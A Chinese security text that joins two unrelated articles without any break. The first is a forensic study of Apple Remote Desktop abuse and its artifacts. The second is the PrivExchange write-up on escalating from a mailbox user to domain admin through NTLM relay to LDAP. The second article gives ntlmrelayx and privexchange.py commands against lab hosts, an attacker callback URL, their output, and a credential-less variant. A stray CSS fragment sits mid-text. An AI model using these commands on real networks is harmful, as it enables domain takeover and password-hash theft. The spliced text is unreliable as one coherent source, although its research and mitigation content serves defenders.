概述

攻击者通常可以依靠企业环境中已经部署的操作系统和第三方应用程序来开展有针对性的攻击活动。借助这些应用程序,攻击者可以轻松进入内部网络之中,无需额外开发或使用它们自己的恶意软件。这样的策略,通常被称为“Living Off the Land”。但对于苹果系统来说,安全性如何呢?

根据近期面向企业开展的macOS相关调查,FireEye Mandiant将Apple Remove Desktop应用程序确定为一个横向移动的向量,并将其作为有价值的取证来源。

Apple Remote Desktop(ARD,苹果远程桌面)在2002年首次发布,是Apple用于软件分发、资产管理和远程协助的桌面管理系统。ARD部署具体由管理员和客户端计算机组成。尽管必须从macOS的App Store下载管理员端应用程序,但客户端应用程序本身就是macOS的一部分。客户端系统必须手动添加到管理员系统上的客户端列表中,针对客户端与管理员系统在同一本地网段的情况则可以通过Bonjour发现客户端。在典型的企业环境部署方案中,经理将成为ARD管理员,并且可以借助ARD查看、管理和远程控制其下级人员的工作站。

横向移动

Mandiant观察到攻击者使用ARD屏幕共享功能在系统之间进行横向移动。如果未在目标系统上启用远程桌面,则攻击者可能会通过SSH连接到系统,并执行kickstart命令以启用远程桌面管理。这将允许远程桌面访问目标系统。下面是macOS Unified Log中展示的示例,其中显示了攻击者用于启动具有完整特权的所有用户的远程桌面访问所使用的kickstart命令:

1.png

在调查期间,我们可以使用一些不同的组件来跟踪此活动。上述kickstart命令的执行将会修改配置文件/Library/Application Support/Apple/Remote Desktop/RemoteManagement.launchd的内容,以包含字符串“enabled”。SSH登录活动可以在Apple系统日志或审核日志中找到。在Unified Log中可以看到kickstart命令的执行,如上图所示。

ARD管理员具有许多可用的功能,就像Windows环境中的管理员(Administrator)帐户一样。通过破坏有权访问ARD管理员系统的帐户,攻击者可以执行以下任何操作:

1. 远程控制启用VNC的计算机,包括“Curtain Mode”,可以在本地工作站的屏幕上隐藏远程操作;

2. 传输文件;

3. 远程关闭或重新启动多台计算机;

4. 修改计划任务;

5. 执行AppleScript和UNIX Shell脚本。

在Apple的ARD网页ARD帮助页面上,包含有关ARD功能的更多详细信息。

利用ARD报告增强调查取证能力

除了具有远程系统控制功能之外,Apple Remote Desktop的资产管理功能中还包括进行远程Spotlight搜索、文件搜索、生成软件版本信息报告等功能,最重要的是,其中包含生成应用程序使用情况和用户历史记录报告的功能。这一报告过程通常遵循以下步骤:

1. 客户端系统产生报告并在本地缓存数据,然后再将其传输到管理员系统(默认策略是本地时间每天凌晨00:00)。

2. 从客户端接收的数据被缓存在管理员系统中。或者,可以将安装ARD管理员版本的macOS系统设置为集中式收集选项的“任务服务器”。

3. 缓存的数据将写入到管理员系统上的SQLite数据库中。

缓存的数据存储在/private/var/db/RemoteManagement父目录下的各个子目录中。该目录具有如下结构:

2.png

这一目录结构会存储在所有系统上,但具体哪个文件存储在哪个目录中,还要取决于系统是ARD客户端系统还是管理员系统。

ARD客户端系统的组件

其中,有一个目录是研究客户端系统过程中的重点,即:/private/var/db/RemoteManagement/caches/。该目录中包含以下文件,作为定期向管理员系统报告的本地客户端数据缓存。但是,这些文件通常会被系统定期删除,因此在实际查找时可能会找不到某些文件。一旦在将这些文件传输到管理员系统后,它们就会被从客户端系统中删除。在传输后,所有数据都将存储在管理员系统中。

ARD缓存文件的文件名及描述:

1. AppUsage.plist – 包含应用程序使用情况数据的plist文件;

2. AppUsage.tmp – 包含应用程序使用情况数据的二进制plist文件,通常与AppUsage.plist相同,或包含与之相比更少的内容;

3. asp.cache – 系统信息的二进制plist;

4. filesystem.cache – 包含整个文件系统索引的数据库,包括用户和组;

5. sysinfo.cache – 包含系统信息的二进制plist,asp.cache中也包含其中的一些信息;

6. UserAcct.tmp – 包含用户登录活动的二进制plist。

根据我们的经验,这些文件中最有用的信息是应用程序使用情况和用户活动。

应用程序使用情况(Application Usage)

RemoteManagement/caches/AppUsage.plist文件针对每个应用程序都保存一个键,其中的值是应用程序的完整路径,例如file:///Applications/Calculator.app/。

每个应用程序键中都包含一个字典,该字典中包含一个“runData”数组和一个“Name”字符串,后者是程序的友好名称,例如“Calculator”,如下图所示。

AppUsage.plist结构:

3.png

在每个“runData”数组中,均包含至少一个由以下键和值组成的字典:

1. wasQuit(布尔型):指示在上次报告时间之前是否退出应用程序,如果该值不为“true”,则这个字段可能不存在;

2. Frontmost(数值,以秒为单位):应用程序在屏幕最前的总持续时间;

3. Launched(macOS绝对时间戳):启动应用程序的时间;

4. runLength(数值,以秒为单位):应用程序运行的持续时间;

5. username(字符串):启动应用程序的用户。

RemoteManagement/caches/AppUsage.plist通常包含与RemoteManagement/caches/AppUsage.tmp相比相同或更多的内容。

用户活动(User Activity)

RemoteManagement/caches/UserAcct.tmp文件是一个二进制plist,其中包含可以与macOS系统上其他组件(例如:Apple系统日志或审计日志)相关联的用户活动。在该文件中,包含每个登录用户简短名称的键。

每个键都包含一个字典,该字典包含带有用户UID的“uid”字符串和登录类型数组(console、tty或SSH)。每个登录类型的数组至少包含一个由以下键和值组成的字典:

1. inTime(macOS绝对时间戳):用户登录的时间;

2. outTime(macOS绝对时间戳):用户注销的时间;

3. host(字符串):远程登录的原始主机,已经观察到该字段不一致。

ARD管理员系统的组件

客户端的数据会在每天报告给管理员系统,然后管理员端会将这些文件存储在RemoteManagement/ClientCaches/目录中。其中,每个文件都重命名为报告系统地MAC地址,并放置在对应的子目录中。/private/var/db/RemoteManagement/ClientCaches/的子目录及所包含文件如下:

1. ApplicationUsage/:包含AppUsage.plist文件;

2. SoftwareInfo/:包含Filesystem.cache文件;

3. SystemInfo/:包含Sysinfo.cache文件;

4. UserAccounting/:包含UserAcct.tmp文件。

除上述之外,还有一个plist文件,名称为RemoteManagement/ClientCaches/cacheAccess.plist,其中包含MAC地址的键和更多MAC地址的值。该文件的目的和上下文尚未确定。

发现ARD中蕴藏的金矿

除filesystem.cache之外,上述所有数据都会被添加到主SQLite数据库中,位于RemoteManagement/RMDB/rmdb.sqlite3(简称为“RMDB”)。RMDB存在于所有ARD系统上,但仅在管理员端上才会使用。该数据库中存储关于ARD网络中系统的大量信息,并且这些信息保存的时间跨度较长。Mandiant观察到,在该数据库中能找到一年之前的应用程序的使用时间戳数据。

RMDB文件包含五个表,分别是:ApplicationName、ApplicationUsage、PropertyNameMap、SystemInformation和UserUsage。下面详细介绍数据库中的每个表。

ApplicationName

该表是每个系统上应用程序的索引,其中为每个应用程序分配了每个系统的项目序列号(“ItemSeq”)。该数据用于ApplicationUsage表中的关联。

ApplicationName表包含的各列及描述如下:

1. ComputerID(字符串):客户端MAC地址,无分隔符;

2. AppName(字符串):友好显示的应用程序名称;

3. AppURL(字符串):应用程序URL路径(例如:file:///Applications/Calculator.app);

4. ItemSeq(整数):针对每个ComputerID,给出的每个应用程序的ID编号,在AppName表中使用;

5. LastUpdated(macOS绝对时间戳):客户端上次报告的时间。

ApplicationUsage

AppName表是唯一的,因为它交换了表中的“Frontmost”和“LaunchTime”值。在撰写本文时,已经在macOS 10.14(Mojave)上得到验证。

ApplicationUsage表包含的各列及描述如下:

1. ComputerID(字符串):客户端MAC地址,无分隔符;

2. FrontMost(macOS绝对时间戳):应用程序启动时间;

3. LaunchTime(秒数,精确到小数点后6位):应用程序在屏幕上最前运行的总时间;

4. RunLength(秒数,精确到小数点后6位):应用程序运行的总时间;

5. ItemSeq(整数):从ApplicationName表中引用的各个ComputerID的ItemSeq编号;

6. LastUpdated(macOS绝对时间戳):客户端上次报告的时间;

7. UserName(字符串):启动应用程序的用户;

8. Runstate(整数):在上一次报告时的运行状态,“1”表示“运行”,“0”表示“已终止”。

PropertyNameMap

该表用作SystemInformation表的引用。

PropertyNameMap表包含的各列及描述如下:

1. ObjectName(字符串):macOS系统的各种元素,例如Mac_HardDriveElement、Mac_USBDeviceElement、Mac_SystemInfoElement;

2. PropertyName(字符串):每个元素的属性名称,例如Mac_USBDeviceElement的ProductName、ProductID、VendorID和VendorName;

3. PropertyMapID(整数):每个元素中每个属性的ID。

SystemInformation

该表中收集了大量的系统信息。可以利用这个表提取所有客户端系统的USB设备信息、IP地址、主机名等。

SystemInformation表包含的各列及描述如下:

1. ComputerID(字符串):客户端MAC地址,无分隔符;

2. ObjectName(字符串):PropertyNameMap表中描述的macOS系统元素;

3. PropertyName(字符串):PropertyNameMap表中描述的每个元素的属性;

4. ItemSeq(整数):每个元素的ID,即:如果有4个Mac_USBDeviceElement数据集,那么每个数据集都有一个ItemSeq编号0-3,以将属性组合在一起;

5. Value(字符串):各个属性的数据;

6. LastUpdated(格式为yyyy-mm-ddThh:mm:ssZ):24小时制式的本地时间,表示客户端上次报告的时间,例如2019-08-07T02:11:34Z。

UserUsage

该表中包含所有报告的客户端系统的用户登录活动。

UserUsage表包含的各列及描述如下:

1. ComputerID(字符串):客户端MAC地址,无分隔符;

2. LastUpdated(macOS绝对时间戳):客户端上次报告时间;

3. UserName(字符串):用户的简短名称;

4. LoginType(字符串):Console、tty或ssh;

5. inTime(macOS绝对时间戳):用户登录的时间;

6. outTime(macOS绝对时间戳):用户注销的时间;

7. Host(字符串):远程登录的原始主机,已经观察到该字段不一致。

Filesystem缓存

RemoteManagement/ClientCaches/filesystem.cache文件是一个数据库,用于索引在macOS计算机文件系统上找到的文件和目录。ARD并没有像RMDB那样使用SQLite,而是使用了自定义的数据库实现来跟踪此信息。幸运的是,数据库的文件格式非常简单,由文件头、6个表以及指向字符串值的条目组成。通过解释文件系统缓存文件中的信息,研究人员可以重新创建启用ARD的系统的目录结构。Mandiant使用这一技术来识别和演示攻击者创建的文件。

由魔术值“hdix”标识的数据库头部包含有关数据库的元数据,例如:索引文件夹、文件和符号链接的总数。该头部的指针指向六个表:“main”、“names”(文件名)、“kinds”(文件扩展名)、“versions”(macOS应用程序捆绑软件版本信息)、“users”和“groups”。其中“main”表中的条目包含对其他表中条目的引用。通过遍历这些引用,取证人员可以恢复完整的文件系统路径和元数据。

实际上,filesystem.cache文件的大小可能达到数十兆字节,可以跟踪数十个或数十万个文件系统条目。下图展示了已解析的文件系统缓存文件中截取的内容,这些条目展示了本文所讨论的组件。

4.png

在macOS系统上,程序“ build_hd_index”遍历文件系统,并将文件和目录索引到filesystem.cache中。下图展示了该工具的部分文档。其默认输出目录为[/private]/var/db/RemoteManagement/caches/。

5.png

具有讽刺意味的是,我们在网上发现了最早发布于2007年的帖子,称该工具对于性能有影响。一篇匿名帖子表示,“build_hd_index”用于支持OS X Panther(2003年)上的文件索引。而在16年后的今天,我们可以在应急响应期间利用这些组件。

工具:ARDvark

显然,如果在调查取证过程中发现主机上存在这一组件,那么就可以利用其具有的大量数据来识别攻击者的活动。但是,在某些情况下,研究人员可能难以从ARD管理员系统上获取生成的报告。在这种情况下,调查人员必须手动从ARD管理员系统的RMDB文件中获取并提取信息。为解决这一问题,可以使用ARDvark工具,该工具可以提取记录在RMDB中的所有用户活动和应用程序使用情况,并以对分析人员友好的格式输出数据。

ARDvark还将处理ARD客户端系统/private/var/db/RemoteManagement/caches/路径下的AppUsage.plist和UserAcct.tmp文件。此外,ARDvark能够解析filesystem.cache文件以生成文件系统列表以及系统上现有的所有用户和组。有关更多信息,请参考FireEye的GitHub

检测和预防ARD滥用

要检测可疑的ARD使用,组织可以监控/Library/Application Support/Apple/Remote Desktop/RemoteManagement.launchd文件的异常修改,以识别未使用ARD的远程桌面访问是否启用。在威胁排查期间,可以在Unified Logs中查找可疑启动命令,同样能够发现可疑的ARD滥用情况。

要缓解ARD滥用,需要采用最小特权原则。我们建议尽量减少远程控制权限,仅对必要的帐户允许管理员权限。Apple在帮助页面和ARD用户指南中提供了有关权限设置和不使用ARD进行本地身份验证的指南。ARD管理员可以在ARD应用程序中生成报告,以确保不对管理特权设置进行任何更改。

提供大量证据支撑

与macOS应用程序使用情况相关的组件非常少,甚至与其他系统相比相差甚远。迄今为止,有一些与应用程序使用情况相关的组件,包括CoreAnalytics文件和Spotlight数据库,但这些组件都没有提供所有应用程序执行的确切时间。尽管并非在所有macOS系统上都存在ARD组件,但如果将ARD部署在企业环境中,可能会为调查人员提供一些有价值的数据,这些数据通常无法通过其他途径或组件获取。

用户登录活动通常存储在Apple系统日志和审核日志中,但日志的保留时间过短经常会成为一大问题。RMDB提供了应用程序使用情况,并保存时间超过一年的用户登录信息记录,远远超过了一般的日志保存时间。

在RMDB中,可用的系统信息包括IP地址、USB设备信息等,可能对调查人员有所帮助。此外,收集的文件系统缓存文件中包含多个macOS系统详细的文件列表,帮助研究人员可以识别其他系统上的文件或值得关注的用户,而不必直接从可疑系统中收集证据。

ARD是一个很好的例子,说明了远程管理工具如何为攻击者滥用提供攻击面,以及如何将大量数据进行整合以帮助安全人员排查恶意活动。如果需要在组织中使用ARD,我们建议考虑在以后的应急响应和调查取证中通过报告的方式来查看信息,否则可能会因为其结构过于复杂而造成阅读的不便。

在大多数使用活动目录和 Exchange 的组织中,Exchange 服务器拥有过高的特权,以至于在 Exchange 服务器上拿到管理员权限就足以升级到域管理员权限。 最近我偶然看到了 ZDI 的一篇博客文章,其中详细介绍了一种方法,可以通过 HTTP 使用 NTLM 对攻击者进行 Exchange 身份验证。 这可以与 NTLM 中继攻击相结合,将任何拥有邮箱的用户升级到域管理员,在我所见过的使用 Exchange 的组织中,可能有90% 的组织中都可以成功利用这种攻击。 这种攻击在默认情况下是可能成功利用的,在我撰写这篇博文时还没有可用的补丁,但是有一些缓解措施可以用来防止这种权限提升。 本博客文章将会详细描述这种攻击,一些更具技术性的细节和缓解措施,并为这次攻击发布了一个概念验证工具,我称之为"PrivExchange" 更新: PrivExchange 的补丁已经发布,请参阅"已发布的更新"一节。

以一种新的方式结合已知的漏洞

本博客文章会将一些已知的漏洞和已知的协议弱点组合成一个新的攻击。 我会将3个组件组合在一起,从任何拥有邮箱的用户的权限升级到域管理员访问:

· 默认情况下,Exchange 服务器具有()高的特权

· NTLM 身份验证容易受到中继攻击

· 有一个特性,可以使用 Exchange 服务器的计算机帐户向攻击者进行身份验证

Exchange 和高级特权

我们在这讨论的这个漏洞的主要产生原因是因为 Exchange Active Directory 域中拥有过高的特权。 Exchange Windows Permissions 组对 Active Directory 中的 Domain 对象具有 WriteDacl 访问权,这使得该组的任何成员都可以修改域特权,其中包括执行 DCSync 操作的特权。 具有此特权的用户或计算机可以执行域控制器通常用于复制的同步操作,这使攻击者能够同步活动目录中用户的所有哈希密码。 这已经被一些研究人员报道过了(见本文末尾的参考部分) 去年我和我在 Fox-IT 的同事 Rindert 一起写过关于这个问题的文章 在那篇文章中,我还发布了对 ntlmrelayx  的更新,增加了在 NTLM 中继时执行这些基于访问控制列表(ACL)的攻击的可能性。

利用 NTLM 中继攻击机器帐户

NTLM 中继攻击已经存在了一段时间了。 在此之前,主要的焦点是通过 SMB 转发 NTLM 身份验证,以便在其他主机上执行代码。 不幸的是,这在许多公司的网络中仍然是可能成功利用的,因为它们没有通过启用 SMB 签名来强化这一点,其他协议也很容易受到中继攻击。 在我看来,这方面最有趣的协议是 LDAP,它可用于读取和修改(活动)目录中的对象。 如果你需要复习一下 NTLM 中继攻击,你可以阅读我前段时间写的一篇博文 简而言之,除非采用缓解措施,否则有可能通过 Windows 在连接到网络中的其他机器上的攻击者机器时(自动的)执行身份验证,如下图所示:

p.p1 {margin: 0.0px 0.0px 26.0px 0.0px; line-height: 23.0px; font: 20.0px Helvetica; color: #000000; -webkit-text-stroke: #393d41; background-color: #ffffff; min-height: 24.0px}
span.s1 {font-kerning: none}

1.jpg

当身份验证中继到 LDAP 时,可以修改目录中的对象以授予攻击者特权,包括 DCSync 操作所需的特权。 因此,如果我们可以让 Exchange 服务器通过 NTLM 身份验证向我们进行身份验证,我们就可以执行 ACL 攻击。 需要注意的是,只有当受害者通过 HTTP 向我们进行身份验证,而不是通过 SMB 进行身份验证时,才能使用 LDAP (请参阅"技术部分"一节获得解释)

Exchange 进行身份验证

到目前为止,唯一缺少的组件是一种可以让 Exchange 向我们进行身份验证的简单方法。 ZDI 研究人员(在他们的文章中没有提到姓名)发现,可以通过 Exchange PushSubscription 特性让 Exchange 通过 HTTP 向任意 URL 发起验证。 在他们的博客文章中,他们使用这个漏洞将 NTLM 身份验证传递回 Exchange (这被称为反射攻击)并冒充其他用户。 如果我们将其与 Exchange 默认拥有的高权限结合起来,执行中继攻击而不是反射攻击,我们就可以使用这些权限来授予自己 DCSync 权限。 推送通知服务有一个选项,即每隔 x 分钟发送一条消息(攻击者可以任意指定 x) ,即使没有发生任何事件。 这可以确保即使收件箱中没有任何活动,Exchange 也会连接到我们的服务器。

执行权限提升攻击

下面显示了上述攻击的示意图,也就是升级特权所执行的步骤:

2.jpg

我们需要两个工具来执行攻击: privexchange.py  ntlmrelayx 你可以在 PrivExchange  GitHub 上获得这两个文件,也可以在 impacket  的代码存储库中获得这两个文件。 以中继模式启动 ntlmrelayx,目标是在域控服务器上的 LDAP,然后提供一个攻击者已经控制的用户来升级权限(在本例中为 ntu 用户) :

ntlmrelayx.py -t ldap://s2016dc.testsegment.local --escalate-user ntu

现在我们运行 privexchange.py  脚本:

[email protected]:~/exchpoc$ python privexchange.py -ah dev.testsegment.local s2012exc.testsegment.local -u ntu -d testsegment.local
Password: 
INFO: Using attacker URL: http://dev.testsegment.local/privexchange/
INFO: Exchange returned HTTP status 200 - authentication was OK
ERROR: The user you authenticated with does not have a mailbox associated. Try a different user.

当对没有邮箱的用户运行此命令时,我们将得到上面的错误。 让我们对一个已经有邮箱关联的用户再试一次:

[email protected]:~/exchpoc$ python privexchange.py -ah dev.testsegment.local s2012exc.testsegment.local -u testuser -d testsegment.local 
Password: 
INFO: Using attacker URL: http://dev.testsegment.local/privexchange/
INFO: Exchange returned HTTP status 200 - authentication was OK
INFO: API call was successful

一分钟后(这是为推送通知指定的值) ,我们看到连接进入 ntlmrelayx,它给我们的用户赋予了 DCSync 特权:

3.png

通过查看 secretsdump.py 的输出内容,我们可以确认已经有了 DCSync 权限:

4.png

使用所有 Active Directory 用户的哈希密码,攻击者可以创建黄金票证来模拟任何用户,或者使用任何用户密码哈希来验证域中任何接受 NTLM Kerberos 身份验证的服务。

技术部分——中继到 LDAP 并签名

我前面提到过,从 SMB 转发到 LDAP 不能正常工作,这也是为什么不能使用最近发布的 SpoolService RPC 滥用技术来执行此攻击的原因(因为这是通过 SMB 进行身份验证的) 既然关于这个的问题不断出现,并且有很多关于这个的疑惑,那就让我们来看看为什么会这样。 如果你不想深入了解 NTLM 身份验证,可以跳过这一部分🙂

SMB HTTP 中的 NTLM 身份验证的区别在于默认情况下协商的标志。有问题的部分是 NTLMSSP_NEGOTIATE_SIGN 标志(0x00000010) 详见 MS-NLMP 2.2.2.5 默认情况下,HTTP 上的 NTLM 身份验证不会设置这个标志,但是如果在 SMB 协议中使用这个标志,默认情况下就会设置:

5.png

当我们将其传递给 LDAP 时,身份验证将会成功,但是 LDAP 将期望所有消息都使用从密码派生的会话密钥进行签名(在中继攻击中我们没有这种密码) 因此,它将忽略任何没有签名的消息,导致我们的攻击失败。 有人可能想知道是否有可能在传输过程中修改这些标志,从而使没有经过协商的消息进行签名。 这不适用于现代版本的 Windows,因为它们默认会包含 MIC (消息完整性代码) ,这是一个基于所有类型为 3 NTLM 消息的签名,因此任何对消息的修改都将使其无效。

6.png

我们能去掉 MIC 吗? 没错,我们可以这样做,因为它不在 NTLM 消息的受保护部分中。 然而,NTLM 身份验证(仅仅是 NTLMv2)中还有最后一个保护可以防止这种情况: NTLMv2响应(它本身使用受害者的密码签名)的深处,有一个 AV_PAIR 结构体,称为 MsvAvFlags 当该字段的值为0x0002时,它表示客户端发送了 MIC 和类型为 3的消息。

 7.png

修改 NTLMv2响应将使身份验证失效,因此我们不能删除此标志字段。 这个标志字段表示计算并包含了 MIC,这将使目标服务器验证 MIC,这反过来会验证所有类型为 3 的消息在传输过程中是否有被修改,因此我们不能删除签名标志。

我认为这只适用于微软实现的 NTLM 实现 NTLM 的自定义设备很可能不会起作用,除非添加了 MIC AV_PAIR 标志,使它们易受标志修改的影响,从而使 SMB-LDAP 中继成为可能。 在这方面的一个例子是 NTLM Java 实现,可以在传输过程中对其进行修改,以绕过安全措施。

在没有任何凭证的情况下执行攻击

在上一节中,我们使用已经拿到的凭证执行攻击的第一步。 如果攻击者只处于执行网络攻击的位置,但没有任何凭证,则仍有可能触发 Exchange 进行身份验证。 如果我们执行 SMB HTTP ( HTTP HTTP)的中继攻击(使用 LLMNR/NBNS/mitm6 欺骗) ,我们可以将同一网段中的用户的身份验证中继到 Exchange EWS,并使用他们的凭证触发回调(感谢 Mark 提出这个思路!) . 我添加了一个小的修改过的 httpattack.py,你可以使用这个工具从网络角度执行攻击,而不需要任何凭证(你只需修改你的攻击者主机,因为它在文件中是硬编码的):

8.png

缓解措施

这种攻击依赖于各种组件的工作。 在之前的博客文章中,我已经强调了针对 NTLM 转发专门针对 LDAP 转发的几种防御措施

适用于这种攻击的最重要的缓解措施是:

· 通过运行以下命令,从一个修补的 Exchange CU移除 Exchange Domain 对象拥有的不必要的高级特权setup.exe /PrepareAD (更多信息请见下面)

· 启用 LDAP 签名和 启用 LDAP 信道绑定 以防止转到 LDAP LDAPS 的中继攻击

· 阻止 Exchange 服务器在任意端口上连接到工作站

·  IIS 中的 Exchange 端点上启用身份认证扩展保护 (但不包括 Exchange 后端,否则会中断 Exchange 服务) 这将验证 NTLM 身份验证中的通道绑定参数,该身份验证将 NTLM 身份验证绑定到 TLS 连接,并防止转到 Exchange web 服务的中继攻击。

· 删除允许中继攻击回到 Exchange 服务器的注册表项,如微软在CVE-2018-8518 的缓解措施中所讨论的那样。

·  Exchange 服务器上实施 SMB 签名(并且优先考虑域中的所有其他服务器和工作站) ,以防止跨协议中继攻击 SMB 服务器。

· 如果没有使用 EWS 推送/拉取订阅,则可以通过将 EWSMaxSubscriptions 设置为0,并使用节流策略,这个方法是由@gentilkiwi 发现的,可以在这里找到更多信息。我还没有针对合法的应用程序测试这种方法,因此建议在较小的用户范围内进行测试。

工具及受影响的版本

概念验证工具可以在 https://github.com/dirkjanm/PrivExchange 找到。这些工具已经在下面列出的 Exchange Windows 版本上进行了测试:

· 2013(CU21) ,中继到 Server 2016DC (全部都打了补丁)

·  Server 2016上的 Exchange 2016(CU11)中继到 Server 2019 DC (全部打了补丁)

· Server 2019 上的Exchange 2019 中继到 Server 2019 DC (感谢 @gentilkiwi 的测试)

上面的 Exchange 服务器是使用共享权限模式(这是默认模式)安装的,但是根据这篇文章的说明 RBAC 分割权限部署也是存在漏洞的(我还没有亲自测试过)

Exchange 2010 SP3似乎没有受到影响,在我的实验室里,这个版本的协议签名类似于上面描述的 SMB,它打破了中继攻击(感谢@lean0x2f 提到了这一点) 版本14.3.435.0(撰写本文时的最新更新)14.3.123.4 都属于这种情况。

已发布的更新

2019212日,微软发布了 Exchange 的更新,通过删除 Exchange 在发送通知时执行的自动身份验证,解决了这些问题。 这涉及到以下 Exchange 版本:

· Exchange Server 2019 Cumulative Update 1

· Exchange Server 2016 Cumulative Update 12

· Exchange Server 2013 Cumulative Update 22

· Exchange Server 2010 Service Pack 3 Update Rollup 26

此外,他们还审查了 Exchange 所需的权限,并决定减少这些权限,以便 Exchange AD 中不再拥有过高的权限。 对于现有的 Exchange 安装,需要从更新的安装程序再次运行 Setup.exe /PrepareAD ,否则不会删除特权。 对于 Exchange 2010,必须手动删除特权,KBKB4490059 中提供了相关的指令。

有关此补丁的详细信息,请参阅微软官方的 Exchange 博客

参考资料

以下博客、白皮书和研究报告提供了更多关于这些攻击的信息:

缓解参考资源

· https://github.com/gdedrouas/Exchange-AD-Privesc/blob/master/DomainObject/Fix-DomainObjectDACL.ps1  ( PowerShell 删除危险的 Exchange 权限) 更新: 请使用微软推荐的解决方案

· https://www.blackhat.com/docs/webcast/04262018-Webcast-Toxic-Waste-Removal-by-Andy-Robbins.pdf  (识别和删除危险的 Exchange 权限,@wald0)

· ACL 权限提升研究 [email protected] @harmj0y

NTLM 中继攻击和签名讨论

· 网络中 NTLM 反射攻击研究综述

·  NTLM SMB LDAP 的中继攻击

· 中继攻击凭证研究 作者:@agsolino

其他参考资料

· MS-NLMP

· ZDI 发表了关于这个问题的文章,讨论了这个 Exchange API

· 通过  meterpreter 执行远程 NTLM 中继攻击 ,这篇文章讨论了如何通过远程执行中继攻击

· 我在 HITB 大会上关于 ACL 攻击的演讲 PPT